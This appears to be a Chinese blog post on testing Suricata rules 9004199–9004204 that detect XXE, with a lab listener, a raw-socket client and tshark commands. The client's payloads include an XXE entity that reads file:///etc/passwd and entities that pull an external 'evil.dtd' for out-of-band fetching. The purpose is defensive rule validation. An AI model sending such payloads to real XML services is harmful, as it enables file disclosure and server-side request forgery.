编写XXE漏洞的suricata规则-测试(9004199-9004204)
1.测试规则(9004199-9004202)
1.主机B开启服务进行监听 python - <<'PY' import socket, threading HOST, PORT = "0.0.0.0", 80 def handle(c): while True: d = c.recv(4096) if not d: break try: c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length:2\r\n\r\nOK") except Exception: pass c.close() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(50) print(f"listening on {HOST}:{PORT}") while True: c, a = s.accept() threading.Thread(target=handle, args=(c,), daemon=True).start() PY 2.主机A发起请求 import socket import time DST_IP = "10.10.10.2" DST_PORT = 80 def send_post(path: str, body: str, split: bool = False): b = body.encode("utf-8") req = ( f"POST {path} HTTP/1.1\r\n" f"Host: {DST_IP}\r\n" f"User-Agent: xxe-rawtcp-test\r\n" f"Content-Type: application/xml\r\n" f"Content-Length: {len(b)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() + b s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((DST_IP, DST_PORT)) if not split: s.sendall(req) else: # 分段发送,验证 Suricata stream 重组也能命中 cut = len(req) // 2 s.sendall(req[:cut]) time.sleep(0.05) s.sendall(req[cut:]) try: s.recv(1024) except Exception: pass s.close() def main(): # 9004201:<!DOCTYPE root SYSTEM "uri"> body_9004201 = '<!DOCTYPE root SYSTEM "http://10.10.10.1/evil.dtd">\n<r/>' # 9004202:<!DOCTYPE root PUBLIC "pubid" "systemid"> body_9004202 = '<!DOCTYPE root PUBLIC "PID" "http://10.10.10.1/evil.dtd">\n<r/>' # 9004199:<!DOCTYPE ... [ <!ENTITY xxe SYSTEM "uri"> ]> body_9004199 = ( "<!DOCTYPE root [\n" '<!ENTITY xxe SYSTEM "file:///etc/passwd">\n' "]>\n" "<root>&xxe;</root>\n" ) # 9004200:<!DOCTYPE ... [ <!ENTITY xxe PUBLIC "pubid" "systemid"> ]> body_9004200 = ( "<!DOCTYPE root [\n" '<!ENTITY xxe PUBLIC "PID" "http://10.10.10.1/evil.dtd">\n' "]>\n" "<root/>\n" ) # 按 sid 分路径,便于 tshark/http dissector 或 follow stream 定位 # send_post("/t/9004201", body_9004201, split=True) send_post("/t/9004202", body_9004202, split=True) # send_post("/t/9004199", body_9004199, split=True) # send_post("/t/9004200", body_9004200, split=True) print("done") if __name__ == "__main__": main() 3.分析主机B上的测试流量 tshark -r xxe_4rules.pcap -c 6 -V tshark -r xxe_4rules.pcap -c 6 -x tshark -r xxe_4rules.pcap -o tcp.desegment_tcp_streams:TRUE -q -z follow,tcp,ascii,0
2.测试规则(9004203-9004204)
1.主机B开启监听 python - <<'PY' import socket, threading HOST, PORT = "0.0.0.0", 80 def handle(c): while True: d = c.recv(4096) if not d: break try: c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length:2\r\n\r\nOK") except Exception: pass c.close() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(50) print(f"listening on {HOST}:{PORT}") while True: c, a = s.accept() threading.Thread(target=handle, args=(c,), daemon=True).start() PY 2.主机A发送请求 import socket import time DST_IP = "10.10.10.2" DST_PORT = 80 def send_post(path: str, body: str): b = body.encode("utf-8") req = ( f"POST {path} HTTP/1.1\r\n" f"Host: {DST_IP}\r\n" f"User-Agent: xxe-scheme-test\r\n" f"Content-Type: application/xml\r\n" f"Content-Length: {len(b)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() + b s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((DST_IP, DST_PORT)) # 分两段发送,验证 Suricata stream 重组也能命中 cut = len(req) // 2 s.sendall(req[:cut]) time.sleep(0.05) s.sendall(req[cut:]) try: s.recv(1024) except Exception: pass s.close() # 9004203:file: 本地读文件(高置信) body_9004203 = """<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> """ # 9004204:http: 远程 URL(SSRF/外带) body_9004204 = """<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://10.10.10.1/evil.dtd"> ]> <root>&xxe;</root> """ # send_post("/t/9004203", body_9004203) send_post("/t/9004204", body_9004204) print("done") 3.分析主机B的测试流量 tshark -r xxe_9004203-9004204.pcap -c 30 -x tshark -r xxe_9004203-9004204.pcap -c 30 -V tshark -r xxe_9004203-9004204.pcap -o tcp.desegment_tcp_streams:TRUE -q -z follow,tcp,ascii,0

浙公网安备 33010602011771号